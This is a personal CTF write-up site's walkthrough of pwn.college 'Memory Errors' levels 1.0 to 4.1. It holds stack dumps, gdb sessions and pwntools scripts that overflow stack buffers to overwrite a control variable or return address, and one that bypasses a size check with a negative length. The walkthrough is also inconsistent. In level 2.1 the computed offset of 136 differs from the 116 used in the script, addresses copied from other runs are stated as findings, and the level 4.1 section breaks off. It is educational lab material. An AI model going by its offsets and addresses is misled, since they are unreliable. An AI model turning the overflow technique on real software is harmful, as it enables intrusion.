Write-ups
Personal WebsiteGithubLinkedIn
  • Home
  • Blue Team Labs Online
    • ATT&CK
    • D3FEND
    • Log Analysis - Privilege Escalation
    • Meta
    • Network Analysis – Web Shell
    • Shiba Insider
    • The Planet's Prestige
    • The Report
  • bWAPP
    • HTML Injection - Reflected (GET)
    • HTML Injection - Reflected (POST)
    • HTML Injection - Reflected (URL)
    • HTML Injection - Stored (Blog)
    • iFrame Injection
  • Command Challenge
    • Command Challenge
    • Oops I deleted my bin/ dir :(
    • Twelve Days of Shell
  • CryptoHack
    • General
      • Encoding
        • ASCII
        • Hex
        • Base64
        • Bytes and Big Integers
      • XOR
        • XOR Starter
        • XOR Properties
        • Favourite byte
      • Mathematics
        • Greatest Common Divisor
        • Extended GCD
  • CSAW 2023
    • Baby's First
    • Baby's Third
    • my_first_pwnie
    • target_practice
  • CTFLearn
    • Binary
      • Simple bof
    • Cryptography
      • 5x5 Crypto
      • Base 2 2 the 6
      • Character Encoding
      • Substitution Cipher
      • Tux!
    • Forensics
      • Forensics 101
      • Git Is Good
      • PDF by fdpumyp
      • Pho Is Tasty!
      • PikesPeak
      • Simple Steganography
      • Taking LS
      • WOW.... So Meta
  • CyberDefenders
    • BlackEnergy
    • Emprisa Maldoc
    • HawkEye
    • HoneyBOT
    • Insider
    • Obfuscated
    • PacketMaze
    • RE101
    • Redline
    • XLM Macros
  • DVWA
    • Brute Force
    • Command Injection
    • CSRF
    • SQL Injection
    • SQL Injection (Blind)
    • Weak Session IDs
    • XSS (DOM)
    • XSS (Reflected)
    • XSS (Stored)
  • Ethernaut
    • 00 - Hello Ethernaut
  • Exploit Education
    • Protostar
      • Stack Zero
      • Stack One
      • Stack Two
      • Stack Three
      • Stack Four
      • Format Zero
  • Google CTF - Beginner's Quest
    • 0000
    • 1837
    • 1943
    • 1965
    • 1987
    • 1988
    • 1989
    • 1990
    • 1994
  • Hacker101
    • Postbook
  • LetsDefend
    • DFIR
      • Phishing
        • Email Analysis
        • Phishing Email
  • Microcorruption
    • New Orleans
    • Sydney
    • Hanoi
    • Reykjavik
    • Cusco
  • NetGarage IO
    • level 1
    • level 2
  • OverTheWire
    • Bandit
  • PicoCTF
    • Forensics
      • information
    • Binary Exploitation
      • Stonks
    • Web Exploitation
      • Cookies
      • dont-use-client-side
      • GET aHEAD
      • Includes
      • Insp3ct0r
      • Insect HTML
      • login
      • where are the robots
  • PortSwigger labs
    • Client-side topics
      • Cross-site scripting (XSS)
        • Reflected XSS into HTML context with nothing encoded
        • Stored XSS into HTML context with nothing encoded
        • DOM XSS in document.write sink using source location.search
        • DOM XSS in innerHTML sink using source location.search
        • DOM XSS in jQuery anchor href attribute sink using location.search source
        • DOM XSS in jQuery selector sink using a hashchange event
        • Reflected XSS into attribute with angle brackets HTML-encoded
        • Stored XSS into anchor href attribute with double quotes HTML-encoded
    • Server-side topics
      • SQL injection
        • SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • SQL injection vulnerability allowing login bypass
        • SQL injection attack, querying the database type and version on Oracle
        • SQL injection attack, querying the database type and version on MySQL and Microsoft
        • SQL injection attack, listing the database contents on non-Oracle databases
        • SQL injection attack, listing the database contents on Oracle
        • SQL injection UNION attack, determining the number of columns returned by the query
        • SQL injection UNION attack, finding a column containing text
        • SQL injection UNION attack, retrieving data from other tables
        • SQL injection UNION attack, retrieving multiple values in a single column
      • Authentication
        • Username enumeration via subtly different responses
        • Password reset broken logic
        • Username enumeration via different responses
        • 2FA simple bypass
      • Path traversal
        • File path traversal, traversal sequences stripped non-recursively
        • File path traversal, traversal sequences blocked with absolute path bypass
        • File path traversal, simple case
        • File path traversal, traversal sequences stripped with superfluous URL-decode
        • File path traversal, validation of start of path
        • File path traversal, validation of file extension with null byte bypass
      • Command injection
        • Blind OS command injection with output redirection
        • OS command injection, simple case
        • Blind OS command injection with time delays
      • Business logic vulnerabilities
        • Flawed enforcement of business rules
        • Excessive trust in client-side controls
        • Inconsistent security controls
        • High-level logic vulnerability
      • Information disclosure
        • Authentication bypass via information disclosure
        • Source code disclosure via backup files
        • Information disclosure on debug page
        • Information disclosure in error messages
      • Access control
        • Referer-based access control
        • Multi-step process with no access control on one step
        • Insecure direct object references
        • URL-based access control can be circumvented
        • Method-based access control can be circumvented
        • User ID controlled by request parameter with password disclosure
        • User ID controlled by request parameter with data leakage in redirect
        • User ID controlled by request parameter, with unpredictable user IDs
        • User ID controlled by request parameter
        • User role can be modified in user profile
        • Unprotected admin functionality with unpredictable URL
        • Unprotected admin functionality
        • User role controlled by request parameter
      • Server-side request forgery (SSRF)
        • Basic SSRF against another back-end system
        • Basic SSRF against the local server
        • SSRF with blacklist-based input filter
      • XXE injection
        • Exploiting XXE to perform SSRF attacks
        • Exploiting XXE using external entities to retrieve files
  • Pwn College
    • Assembly Crash Course
    • Building a Web Server
    • Cryptography
    • Debugging Refresher
    • Intercepting Communication
    • Memory Errors
    • Program Interaction
    • Program Misuse
    • Reverse Engineering
    • Sandboxing
    • Shellcode Injection
    • Talking Web
    • Web Security
  • pwanable.kr
    • fd
    • random
  • Root Me
    • App - System
      • ELF x86 - Stack buffer overflow basic 1
    • Web - Client
      • HTML-disabled buttons
      • Javascript - Authentication
      • Javascript - Source
      • Javascript - Authentication 2
      • Javascript - Obfuscation 1
      • Javascript - Obfuscation 2
      • Javascript - Native code
    • Web - Server
      • HTML - Source code
      • HTTP - IP restriction bypass
      • HTTP - Open redirect
      • HTTP - User-agent
      • PHP - Command injection
      • HTTP - Directory indexing
      • HTTP - Headers
      • HTTP - POST
      • HTTP - Improper redirection
      • HTTP - Verb tampering
      • Install files
  • ROP Emporium
    • ret2win
    • split
  • TryHackMe
    • Easy
      • Agent Sudo
      • Anthem
      • Archangel
      • Bounty Hacker
      • Brooklyn Nine Nine
      • Brute It
      • c4ptur3-th3-fl4g
      • Chill Hack
      • Crack the Hash
      • CTF collection Vol.1
      • Cyborg
      • Fowsniff CTF
      • GamingServer
      • h4cked
      • LazyAdmin
      • Lian_Yu
      • OhSINT
      • Overpass
      • Pickle Rick
      • RootMe
      • Searchlight - IMINT
      • Simple CTF
      • Startup
      • Sudo Security Bypass
      • tomghost
      • Wgel CTF
      • Year of the Rabbit
    • Medium
      • Anonymous
      • ConvertMyVideo
      • UltraTech
  • Under The Wire
    • Century
    • Cyborg
  • W3Challs
    • Web
      • Change your browser
  • Websec.fr
    • level01
    • level04
    • level17
    • level25
    • level28
Powered by GitBook
On this page
  • level 1.0
  • level 1.1
  • level 2.0
  • level 2.1
  • level 3.0
  • level 3.1
  • level 4.0
  • level 4.1
  • level 6.0
  • level 6.1

Was this helpful?

  1. Pwn College

Memory Errors

level 1.0

Overflow a buffer on the stack to set the right conditions to obtain the flag!

From the information that we have been provided and by looking at the stack, we can make a few modifications that can help us better understand the challenge.

            +---------------------------------+-------------------------+--------------------+
            |                  Stack location |            Data (bytes) |      Data (LE int) |
            +---------------------------------+-------------------------+--------------------+
esp ------> | 0x00007fff5e6805e0 (rsp+0x0000) | f0 05 68 5e ff 7f 00 00 | 0x00007fff5e6805f0 |
            | 0x00007fff5e6805e8 (rsp+0x0008) | e8 17 68 5e ff 7f 00 00 | 0x00007fff5e6817e8 |
            | 0x00007fff5e6805f0 (rsp+0x0010) | d8 17 68 5e ff 7f 00 00 | 0x00007fff5e6817d8 |
            | 0x00007fff5e6805f8 (rsp+0x0018) | 00 4a 23 d3 01 00 00 00 | 0x00000001d3234a00 |
            | 0x00007fff5e680600 (rsp+0x0020) | 01 00 00 00 00 00 00 00 | 0x0000000000000001 |
            | 0x00007fff5e680608 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
            | 0x00007fff5e680610 (rsp+0x0030) | 20 06 68 5e ff 7f 00 00 | 0x00007fff5e680620 | <------ *buff
            | 0x00007fff5e680618 (rsp+0x0038) | 94 06 68 5e ff 7f 00 00 | 0x00007fff5e680694 | <------ *win
            | 0x00007fff5e680620 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | \
            | 0x00007fff5e680628 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  \
            | 0x00007fff5e680630 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   | 
            | 0x00007fff5e680638 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
            | 0x00007fff5e680640 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
            | 0x00007fff5e680648 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
            | 0x00007fff5e680650 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |---- buffer
            | 0x00007fff5e680658 (rsp+0x0078) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   | 
            | 0x00007fff5e680660 (rsp+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
            | 0x00007fff5e680668 (rsp+0x0088) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
            | 0x00007fff5e680670 (rsp+0x0090) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
            | 0x00007fff5e680678 (rsp+0x0098) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
            | 0x00007fff5e680680 (rsp+0x00a0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  / 
            | 0x00007fff5e680688 (rsp+0x00a8) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | /
            | 0x00007fff5e680690 (rsp+0x00b0) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | <------ win
            | 0x00007fff5e680698 (rsp+0x00b8) | 00 4a 23 d3 24 fd 59 d9 | 0xd959fd24d3234a00 |
ebp ------> | 0x00007fff5e6806a0 (rsp+0x00c0) | e0 16 68 5e ff 7f 00 00 | 0x00007fff5e6816e0 | <------ saved ebp of previous frame
            | 0x00007fff5e6806a8 (rsp+0x00c8) | e8 3d 60 8c 02 56 00 00 | 0x000056028c603de8 | <------ return address
            +---------------------------------+-------------------------+--------------------+

In this case, the pointer to the buffer is stored at (rsp+0x0030) and the pointer to the win variable is located at (rsp+0x0038). These are not to be confused with the actual location of the buffer or the win variable.

The actual win variable is located right after the buffer, at (rsp+0x00b4).

In order to overwrite the variable, we have to first overflow the buffer, whose size is 115 bytes.

So the buffer and win variable, are located as follows:

Buffer:                           Padding byte:           Win variable:

00 00 00 00 00 00 00 00           00                      00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00

So as soon as the buffer ends, we have a single NULL byte, possibly a padding byte. And then we have our win variable which is 4 bytes long.

This means that we need to provide a payload of (115 + 1 + 4) bytes.

We are going to use pwntools in order to craft our payload.

from pwn import *

padding = b'A' * 116
payload = padding + p64(0x42424242)

p = process('/challenge/babymem_level1.0')
p.recvuntil('size:')
p.sendline('120')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()

As we can see we have successfully overwritten the win function.

level 1.1

Overflow a buffer on the stack to set the right conditions to obtain the flag!

This time we are not given any information by the program.

In order to create a payload we need to know three things:

gef➤  run

; -- snip --
Send your payload (up to 10 bytes)!

Once we are prompted to enter our payload we can press CTRL C and then enter our payload.

gef➤  finish
Run till exit from #0  0x00007f7c7813dfd2 in __GI___libc_read (fd=0x0, buf=0x7ffc615eeba0, nbytes=0xa) at ../sysdeps/unix/sysv/linux/read.c:26
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The program has now read our payload.

The read syscall takes the following arguments:

ssize_t read(int fd, void buf[.count], size_t count);

Let's check the value of $rsi.

gef➤  p $rsi
$2 = 0x7fff4cbdb280

Now we know that the buffer starts at 0x7ffc615eeba0.

Let's disassemble the program:

gef➤  disassemble
Dump of assembler code for function challenge:

; -- snip --
0x000055cd9f2cae9c <+283>:   mov    rax,QWORD PTR [rbp-0x58]
0x000055cd9f2caea0 <+287>:   mov    eax,DWORD PTR [rax]
0x000055cd9f2caea2 <+289>:   test   eax,eax
0x000055cd9f2caea4 <+291>:   je     0x55cd9f2caeb0 <challenge+303>
0x000055cd9f2caea6 <+293>:   mov    eax,0x0
0x000055cd9f2caeab <+298>:   call   0x55cd9f2cac84 <win>
; -- snip --

This block of code decides whether we get the flag or not.

We can see that the cmp instruction is comparing whether the value stored in $eax has been changed.

And from the two lines above, we learn that the value in $eax is moved from dereferenced [rbp-0x58].

Let's check the value of [rbp-0x58]:

gef➤  x/a $rbp - 0x58
0x7fff4cbdb278: 0x7fff4cbdb2c4

The location of the win variable is 0x7ffc615eec14.

So we have all the information we need:

Let's find the distance between the buffer and win variable in order to get the length of our payload padding.

gef➤  p/d 0x7fff4cbdb2c4 - 0x7fff4cbdb280
$3 = 68

We are all set to craft our payload.

from pwn import *

padding = b'A' * 68
payload = padding + p64(0x42424242)

p = process('/challenge/babymem_level1.1')
p.recvuntil('size:')
p.sendline('200')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()

level 2.0

Overflow a buffer on the stack to set trickier conditions to obtain the flag!

	    +---------------------------------+-------------------------+--------------------+
	    |                  Stack location |            Data (bytes) |      Data (LE int) |
	    +---------------------------------+-------------------------+--------------------+
esp ------> | 0x00007fff85a4bc80 (rsp+0x0000) | a0 e6 1b 00 00 00 00 00 | 0x00000000001be6a0 |
            | 0x00007fff85a4bc88 (rsp+0x0008) | 78 ce a4 85 ff 7f 00 00 | 0x00007fff85a4ce78 |
	    | 0x00007fff85a4bc90 (rsp+0x0010) | 68 ce a4 85 ff 7f 00 00 | 0x00007fff85a4ce68 |
	    | 0x00007fff85a4bc98 (rsp+0x0018) | 23 57 70 85 01 00 00 00 | 0x0000000185705723 |
	    | 0x00007fff85a4bca0 (rsp+0x0020) | 68 0d 00 00 00 00 00 00 | 0x0000000000000d68 |
	    | 0x00007fff85a4bca8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
	    | 0x00007fff85a4bcb0 (rsp+0x0030) | c0 bc a4 85 ff 7f 00 00 | 0x00007fff85a4bcc0 | <------ *buff
	    | 0x00007fff85a4bcb8 (rsp+0x0038) | 18 bd a4 85 ff 7f 00 00 | 0x00007fff85a4bd18 | <------ *win
	    | 0x00007fff85a4bcc0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | \
	    | 0x00007fff85a4bcc8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  \
            | 0x00007fff85a4bcd0 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
            | 0x00007fff85a4bcd8 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
	    | 0x00007fff85a4bce0 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
	    | 0x00007fff85a4bce8 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |---- buffer
	    | 0x00007fff85a4bcf0 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
	    | 0x00007fff85a4bcf8 (rsp+0x0078) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
	    | 0x00007fff85a4bd00 (rsp+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
	    | 0x00007fff85a4bd08 (rsp+0x0088) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  /
            | 0x00007fff85a4bd10 (rsp+0x0090) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | /
	    | 0x00007fff85a4bd18 (rsp+0x0098) | 00 00 00 00 31 56 00 00 | 0x0000563100000000 | <------ win
	    | 0x00007fff85a4bd20 (rsp+0x00a0) | 70 cd a4 85 ff 7f 00 00 | 0x00007fff85a4cd70 |
            | 0x00007fff85a4bd28 (rsp+0x00a8) | 00 c3 81 59 29 d1 5f cb | 0xcb5fd1295981c300 |
ebp ------> | 0x00007fff85a4bd30 (rsp+0x00b0) | 70 cd a4 85 ff 7f 00 00 | 0x00007fff85a4cd70 | <------ saved ebp of previous frame
	    | 0x00007fff85a4bd38 (rsp+0x00b8) | 22 ef b6 1b 31 56 00 00 | 0x000056311bb6ef22 | <------ return address
            +---------------------------------+-------------------------+--------------------+

The buffer is 87 bytes long, which means that it only covers 7 bytes out of the word at (rsp+0x0090).

Buffer:                           Padding byte:           Win variable:

00 00 00 00 00 00 00 00           00                      00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 

The buffer ends, we have a null byte and then we have our win variable.

We have to change the value of the win variable to 0x2dbba028.

Let's build our payload.

from pwn import *

padding = b'A' * 88
payload = padding + p64(0x2dbba028)

p = process('/challenge/babymem_level2.0')
p.recvuntil('size:')
p.sendline('120')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()
  • We successfully overwrote the variable.

level 2.1

Overflow a buffer on the stack to set trickier conditions to obtain the flag!

This time we are not given any information by the program.

In order to create a payload we need to know three things:

Let's open the program in gdb.

gef➤  run

; -- snip --
Send your payload (up to 10 bytes)!

Once we are prompted to enter our payload we can press CTRL C and then enter our payload.

gef➤  finish
Run till exit from #0  0x00007f7c7813dfd2 in __GI___libc_read (fd=0x0, buf=0x7ffc615eeba0, nbytes=0xa) at ../sysdeps/unix/sysv/linux/read.c:26
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The program has now read our payload.

The read syscall takes the following arguments:

ssize_t read(int fd, void buf[.count], size_t count);

We can see that the second argument is the location to which input is read, and it is stored in $rsi.

gef➤  p $rsi
$2 = 0x7ffc615eeba0

Now we know that the buffer starts at 0x7ffc615eeba0.

Let's disassemble the program:

gef➤  disassemble
Dump of assembler code for function challenge:

; -- snip --
0x0000564a9d7c246a <+264>:   mov    rax,QWORD PTR [rbp-0x88]
0x0000564a9d7c2471 <+271>:   mov    eax,DWORD PTR [rax]
0x0000564a9d7c2473 <+273>:   cmp    eax,0x47ba9894
0x0000564a9d7c2478 <+278>:   jne    0x564a9d7c2484 <challenge+290>
0x0000564a9d7c247a <+280>:   mov    eax,0x0
0x0000564a9d7c247f <+285>:   call   0x564a9d7c2265 <win>
; -- snip --

This block of code decides whether we get the flag or not.

We can see that the cmp instruction is comparing 0x47ba9894 with the value stored in $eax.

And from the two lines above, we learn that the value in $eax is moved from dereferenced [rbp-0x88].

Let's check the value of [rbp-0x88]:

gef➤  x/a $rbp - 0x88
0x7ffc615eeb98: 0x7ffc615eec14

The location of the win variable is 0x7ffc615eec14.

So we have all the information we need:

Let's find the distance between the buffer and win variable in order to get the length of our payload padding.

gef➤  p/d 0x7fff0c8f8e98 - 0x7fff0c8f8e10
$3 = 136

We are all set to craft our payload.

from pwn import *

padding = b'A' * 116
payload = padding + p64(0x47ba9894)

p = process('/challenge/babymem_level2.1')
p.recvuntil('size:')
p.sendline('200')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()

level 3.0

Overflow a buffer and smash the stack to obtain the flag!

            +---------------------------------+-------------------------+--------------------+
            |                  Stack location |            Data (bytes) |      Data (LE int) |
            +---------------------------------+-------------------------+--------------------+
esp ------> | 0x00007ffd2e328c00 (rsp+0x0000) | a0 e4 b2 ce d6 7f 00 00 | 0x00007fd6ceb2e4a0 |
            | 0x00007ffd2e328c08 (rsp+0x0008) | b8 9d 32 2e fd 7f 00 00 | 0x00007ffd2e329db8 |
            | 0x00007ffd2e328c10 (rsp+0x0010) | a8 9d 32 2e fd 7f 00 00 | 0x00007ffd2e329da8 |
            | 0x00007ffd2e328c18 (rsp+0x0018) | dd 75 9d ce 01 00 00 00 | 0x00000001ce9d75dd |
            | 0x00007ffd2e328c20 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | 
            | 0x00007ffd2e328c28 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  
            | 0x00007ffd2e328c30 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | \  
            | 0x00007ffd2e328c38 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  \ 
	    | 0x00007ffd2e328c40 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
	    | 0x00007ffd2e328c48 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |---- buffer
	    | 0x00007ffd2e328c50 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
	    | 0x00007ffd2e328c58 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
	    | 0x00007ffd2e328c60 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  /
	    | 0x00007ffd2e328c68 (rsp+0x0068) | 00 9c 32 2e fd 7f 00 00 | 0x00007ffd2e329c00 | / 
	    | 0x00007ffd2e328c70 (rsp+0x0070) | d0 11 40 00 00 00 00 00 | 0x00000000004011d0 |
	    | 0x00007ffd2e328c78 (rsp+0x0078) | 30 8c 32 2e fd 7f 00 00 | 0x00007ffd2e328c30 |
ebp ------> | 0x00007ffd2e328c80 (rsp+0x0080) | b0 9c 32 2e fd 7f 00 00 | 0x00007ffd2e329cb0 | <------ saved ebp of previous frame
	    | 0x00007ffd2e328c88 (rsp+0x0088) | 9f 2a 40 00 00 00 00 00 | 0x0000000000402a9f | <------ return address
	    +---------------------------------+-------------------------+--------------------+

This time there's no pointer to the buffer or to the win variable as there is no win variable in the first place.

In order to execute the win function, we have to overwrite the return address with the address of the win function.

Buffer:                           Padding byte:                     Return address:

00 00 00 00 00 00 00 00              f2 93 28 fd 7f 00 00           9f 2a 40 00 00 00 00 00 
00 00 00 00 00 00 00 00           d0 11 40 00 00 00 00 00
00 00 00 00 00 00 00 00           50 e2 93 28 fd 7f 00 00
00 00 00 00 00 00 00 00           d0 f2 93 28 fd 7f 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 

Let's open the program in gdb.

(gdb) disassemble win

; -- snip --
Dump of assembler code for function win:
   0x000000000040236c <+0>:     endbr64 
; -- snip --

As we can see the location of the win function is 0x000000000040236c.

Let's craft our payload.

from pwn import *

padding = b'A' * 88
payload = padding + p64(0x000000000040236c)

p = process('/challenge/babymem_level3.0')
p.recvuntil('size:')
p.sendline('120')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()

level 3.1

Overflow a buffer and smash the stack to obtain the flag!

In order to create a payload we need to know three things:

gef➤  run

; -- snip --
Send your payload (up to 10 bytes)!
  • Once we are prompted to enter our payload we can press CTRL C and then enter our payload.

gef➤  finish
Run till exit from #0  0x00007f7c7813dfd2 in __GI___libc_read (fd=0x0, buf=0x7ffc615eeba0, nbytes=0xa) at ../sysdeps/unix/sysv/linux/read.c:26
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The program has now read our payload.

The read syscall takes the following arguments:

ssize_t read(int fd, void buf[.count], size_t count);

We can see that the second argument is the location to which input is read, and it is stored in $rsi.

gef➤  p $rsi
$2 = 0x7fff0c8f8e10

In this challenge, we have no win variable to overwrite.

The way we can divert flow of the program is by overwriting the return address.

We know that the base pointer $rbp points to the saved base pointer of the caller function.

Let's check this:

gef➤  x/a $rbp
0x7fff0c8f8e90: 0x7fff0c8f9ec0

The base pointer $rbp has the value 0x7fff0c8f8e90 and it points to 0x7fff0c8f9ec0 which is the $rbp of the caller function.

And the return address is stored right before the caller functions base pointer. In our case at $rbp + 8.

gef➤  x/a $rbp + 8
0x7fff0c8f8e98: 0x4024be <main+238>

As we can see the return address is <main+238> and it is located at 0x7fff0c8f8e98.

We want to replace this value with the address of the win function.

gef➤  disass win
Dump of assembler code for function win:
   0x0000000000402184 <+0>:     endbr64 
; -- snip --

As we can see the win function starts at 0x0000000000402184.

We now have the information we need:

Let's calculate the padding required.

gef➤  p/d 0x7fff0c8f8e98 - 0x7fff0c8f8e10
$3 = 136

We can now create our payload.

from pwn import *

padding = b'A' * 136
payload = padding + p64(0x402184)

p = process('/challenge/babymem_level3.1')
p.recvuntil('size:')
p.sendline('200')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()

level 4.0

Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!

Our stack frame looks something like this:

	    +---------------------------------+-------------------------+--------------------+
	    |                  Stack location |            Data (bytes) |      Data (LE int) |
	    +---------------------------------+-------------------------+--------------------+
rsp ------> | 0x00007ffd173983c0 (rsp+0x0000) | a0 d4 01 6a 59 7f 00 00 | 0x00007f596a01d4a0 |
	    | 0x00007ffd173983c8 (rsp+0x0008) | 78 95 39 17 fd 7f 00 00 | 0x00007ffd17399578 |
	    | 0x00007ffd173983d0 (rsp+0x0010) | 68 95 39 17 fd 7f 00 00 | 0x00007ffd17399568 |
            | 0x00007ffd173983d8 (rsp+0x0018) | dd 65 ec 69 01 00 00 00 | 0x0000000169ec65dd |
            | 0x00007ffd173983e0 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
	    | 0x00007ffd173983e8 (rsp+0x0028) | a0 16 02 6a 00 00 00 00 | 0x000000006a0216a0 |
	    | 0x00007ffd173983f0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | \
	    | 0x00007ffd173983f8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  \
	    | 0x00007ffd17398400 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
	    | 0x00007ffd17398408 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |---- buffer
       	    | 0x00007ffd17398410 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
       	    | 0x00007ffd17398418 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |   |
            | 0x00007ffd17398420 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  /
            | 0x00007ffd17398428 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | /
            | 0x00007ffd17398430 (rsp+0x0070) | d0 11 40 00 00 00 00 00 | 0x00000000004011d0 |
            | 0x00007ffd17398438 (rsp+0x0078) | f0 83 39 17 fd 7f 00 00 | 0x00007ffd173983f0 |
rbp ------> | 0x00007ffd17398440 (rsp+0x0080) | 70 94 39 17 fd 7f 00 00 | 0x00007ffd17399470 | <------ saved ebp of previous frame
            | 0x00007ffd17398448 (rsp+0x0088) | 87 2a 40 00 00 00 00 00 | 0x0000000000402a87 | <------ return address
            +---------------------------------+-------------------------+--------------------+

Again, we have to overwrite the return address in order to divert control flow.

Buffer:                           Random bytes:                     Return address:

00 00 00 00 00 00 00 00                                00           87 2a 40 00 00 00 00 00
00 00 00 00 00 00 00 00           d0 11 40 00 00 00 00 00
00 00 00 00 00 00 00 00           f0 83 39 17 fd 7f 00 00
00 00 00 00 00 00 00 00           70 94 39 17 fd 7f 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

Let's find the address of the win function.

(gdb) disassemble win

; -- snip --
Dump of assembler code for function win:
   0x00000000004022cb <+0>:     endbr64 
; -- snip --

The program does not want us to overflow the buffer, so it tries to ensure that the payload size we set is lower than the buffer size.

The two's-compliment of -1 is 0xffffffff. If we enter the payload size to be -1, the program will interpret it as an unsigned 4294967295 instead of a signed -1.

And thus, we can pass the check.

Let's craft our payload:

from pwn import *

padding = b'A' * 88
payload = padding + p64(0x00000000004022cb)

p = process('/challenge/babymem_level4.0')
p.recvuntil('size:')
p.sendline('-1')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()

level 4.1

Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!

In order to create a payload we need to know three things:

gef➤  run

; -- snip --
Send your payload (up to 10 bytes)!

Once we are prompted to enter our payload we can press CTRL C and then enter our payload.

gef➤  finish
Run till exit from #0  0x00007f7c7813dfd2 in __GI___libc_read (fd=0x0, buf=0x7ffc615eeba0, nbytes=0xa) at ../sysdeps/unix/sysv/linux/read.c:26
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The program has now read our payload.

The read syscall takes the following arguments:

ssize_t read(int fd, void buf[.count], size_t count);

We can see that the second argument is the location to which input is read, and it is stored in $rsi.

gef➤  p $rsi
$2 = 0x7ffd98ad7380

In this challenge, we have no win variable to overwrite.

The way we can divert flow of the program is by overwriting the return address.

We know that the base pointer $rbp points to the saved base pointer of the caller function.

Let's check this:

gef➤  x/a $rbp
0x7ffd98ad73d0: 0x7ffd98ad8400

The base pointer $rbp has the value 0x7fff0c8f8e90 and it points to 0x7fff0c8f9ec0 which is the $rbp of the caller function.

And the return address is stored right before the caller functions base pointer. In our case at $rbp + 8.

gef➤  x/a $rbp + 8
